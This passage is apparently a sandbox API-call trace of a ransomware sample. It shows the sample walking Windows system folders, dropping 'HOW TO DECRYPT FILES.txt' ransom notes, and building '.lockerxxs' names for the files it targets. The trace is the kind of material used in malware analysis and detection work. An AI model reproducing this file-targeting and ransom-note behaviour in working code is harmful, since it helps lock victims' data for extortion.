(lpString1=".", lpString2="en-US") returned -1 [0144.818] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0144.819] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\UMDF\\*.*") returned="*.*" [0144.819] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\UMDF\\", lpString2="en-US" | out: lpString1="C:\\Windows\\System32\\drivers\\UMDF\\en-US") returned="C:\\Windows\\System32\\drivers\\UMDF\\en-US" [0144.819] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\drivers\\UMDF\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0144.819] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.819] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.819] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.819] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.819] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.819] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0144.819] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0144.820] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.820] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282a91fb, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x282a91fb, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x1787ee70, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x4d0055, dwReserved1=0x460044, cFileName="wimmount.sys", cAlternateFileName="")) returned 1 [0144.820] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.820] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wimmount.sys") returned -1 [0144.820] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wimmount.sys") returned -1 [0144.820] lstrcmpiA (lpString1="", lpString2="wimmount.sys") returned -1 [0144.820] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\*.*") returned="*.*" [0144.820] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\drivers\\" | out: lpString1="C:\\Windows\\System32\\drivers\\") returned="C:\\Windows\\System32\\drivers\\" [0144.820] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\drivers\\" | out: pszPath="C:\\Windows\\System32\\drivers\\") returned="" [0144.820] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" [0144.820] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\drivers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\drivers\\how to decrypt files.txt")) returned 0x20 [0144.820] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="wimmount.sys" | out: lpString1="C:\\Windows\\System32\\drivers\\wimmount.sys") returned="C:\\Windows\\System32\\drivers\\wimmount.sys" [0144.820] PathMatchSpecA (pszFile="C:\\Windows\\System32\\drivers\\wimmount.sys", pszSpec="*.ems") returned 0 [0144.820] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282a91fb, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x282a91fb, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x1787ee70, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x4d0055, dwReserved1=0x460044, cFileName="wimmount.sys", cAlternateFileName="")) returned 0 [0144.820] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0144.820] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e5555ab, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="DriverStore", cAlternateFileName="DRIVER~1")) returned 1 [0144.820] lstrcmpA (lpString1=".", lpString2="DriverStore") returned -1 [0144.821] lstrcmpA (lpString1="..", lpString2="DriverStore") returned -1 [0144.821] PathFindFileNameA (pszPath="C:\\Windows\\System32\\*.*") returned="*.*" [0144.821] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="DriverStore" | out: lpString1="C:\\Windows\\System32\\DriverStore") returned="C:\\Windows\\System32\\DriverStore" [0144.821] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfee8988a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8421deb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8421deb9, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.821] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.821] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfee8988a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8421deb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8421deb9, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.821] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.821] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.821] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed27cfe, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ed27cfe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x841f7c4a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x61800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="drvindex.dat", cAlternateFileName="")) returned 1 [0144.821] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.821] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="drvindex.dat") returned 1 [0144.821] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="drvindex.dat") returned 1 [0144.821] lstrcmpiA (lpString1="", lpString2="drvindex.dat") returned -1 [0144.821] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\*.*") returned="*.*" [0144.821] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\") returned="C:\\Windows\\System32\\DriverStore\\" [0144.821] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\") returned="" [0144.821] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\HOW TO DECRYPT FILES.txt" [0144.821] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\how to decrypt files.txt")) returned 0xffffffff [0144.822] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.822] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.822] CloseHandle (hObject=0xffffffff) returned 0 [0144.822] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\", lpString2="drvindex.dat" | out: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat") returned="C:\\Windows\\System32\\DriverStore\\drvindex.dat" [0144.822] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\drvindex.dat", pszSpec="*.ems") returned 0 [0144.822] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\System32\\DriverStore\\drvindex.dat" | out: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat") returned="C:\\Windows\\System32\\DriverStore\\drvindex.dat" [0144.823] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\System32\\DriverStore\\drvindex.dat" | out: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat") returned="C:\\Windows\\System32\\DriverStore\\drvindex.dat" [0144.823] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat", lpString2="." | out: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat.") returned="C:\\Windows\\System32\\DriverStore\\drvindex.dat." [0144.823] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\System32\\DriverStore\\drvindex.dat.lockerxxs") returned="C:\\Windows\\System32\\DriverStore\\drvindex.dat.lockerxxs" [0144.823] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\drvindex.dat" (normalized: "c:\\windows\\system32\\driverstore\\drvindex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.823] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc3cf96, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x98858ddc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98858ddc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.823] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0144.823] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0144.823] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\drvindex.dat") returned="drvindex.dat" [0144.823] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\", lpString2="en-US" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US") returned="C:\\Windows\\System32\\DriverStore\\en-US" [0144.823] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc3cf96, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x98858ddc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98858ddc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1280, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.827] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.827] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc3cf96, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x98858ddc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98858ddc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.828] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.828] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.828] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1394.inf_loc", cAlternateFileName="")) returned 1 [0144.828] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.828] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1394.inf_loc") returned 1 [0144.828] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1394.inf_loc") returned 1 [0144.829] lstrcmpiA (lpString1="", lpString2="1394.inf_loc") returned -1 [0144.829] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\*.*") returned="*.*" [0144.829] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.829] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.829] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.829] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.829] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.829] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.830] CloseHandle (hObject=0xffffffff) returned 0 [0144.830] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="1394.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\1394.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\1394.inf_loc" [0144.830] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\1394.inf_loc", pszSpec="*.ems") returned 0 [0144.830] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="61883.inf_loc", cAlternateFileName="")) returned 1 [0144.830] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.830] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="61883.inf_loc") returned 1 [0144.830] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="61883.inf_loc") returned 1 [0144.830] lstrcmpiA (lpString1="", lpString2="61883.inf_loc") returned -1 [0144.830] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\1394.inf_loc") returned="1394.inf_loc" [0144.830] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.830] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.830] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.830] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.830] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.831] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.831] CloseHandle (hObject=0xffffffff) returned 0 [0144.831] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="61883.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\61883.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\61883.inf_loc" [0144.831] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\61883.inf_loc", pszSpec="*.ems") returned 0 [0144.831] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="acpi.inf_loc", cAlternateFileName="")) returned 1 [0144.831] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.831] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="acpi.inf_loc") returned 1 [0144.831] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="acpi.inf_loc") returned 1 [0144.831] lstrcmpiA (lpString1="", lpString2="acpi.inf_loc") returned -1 [0144.831] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\61883.inf_loc") returned="61883.inf_loc" [0144.832] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.832] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.832] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.832] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.832] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.832] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.832] CloseHandle (hObject=0xffffffff) returned 0 [0144.832] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="acpi.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\acpi.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\acpi.inf_loc" [0144.832] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\acpi.inf_loc", pszSpec="*.ems") returned 0 [0144.833] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x0, cFileName="acpipmi.inf_loc", cAlternateFileName="")) returned 1 [0144.833] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.833] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="acpipmi.inf_loc") returned 1 [0144.833] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="acpipmi.inf_loc") returned 1 [0144.833] lstrcmpiA (lpString1="", lpString2="acpipmi.inf_loc") returned -1 [0144.833] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\acpi.inf_loc") returned="acpi.inf_loc" [0144.833] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.833] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.833] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.833] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.833] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.833] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.834] CloseHandle (hObject=0xffffffff) returned 0 [0144.834] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="acpipmi.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\acpipmi.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\acpipmi.inf_loc" [0144.834] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\acpipmi.inf_loc", pszSpec="*.ems") returned 0 [0144.834] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, 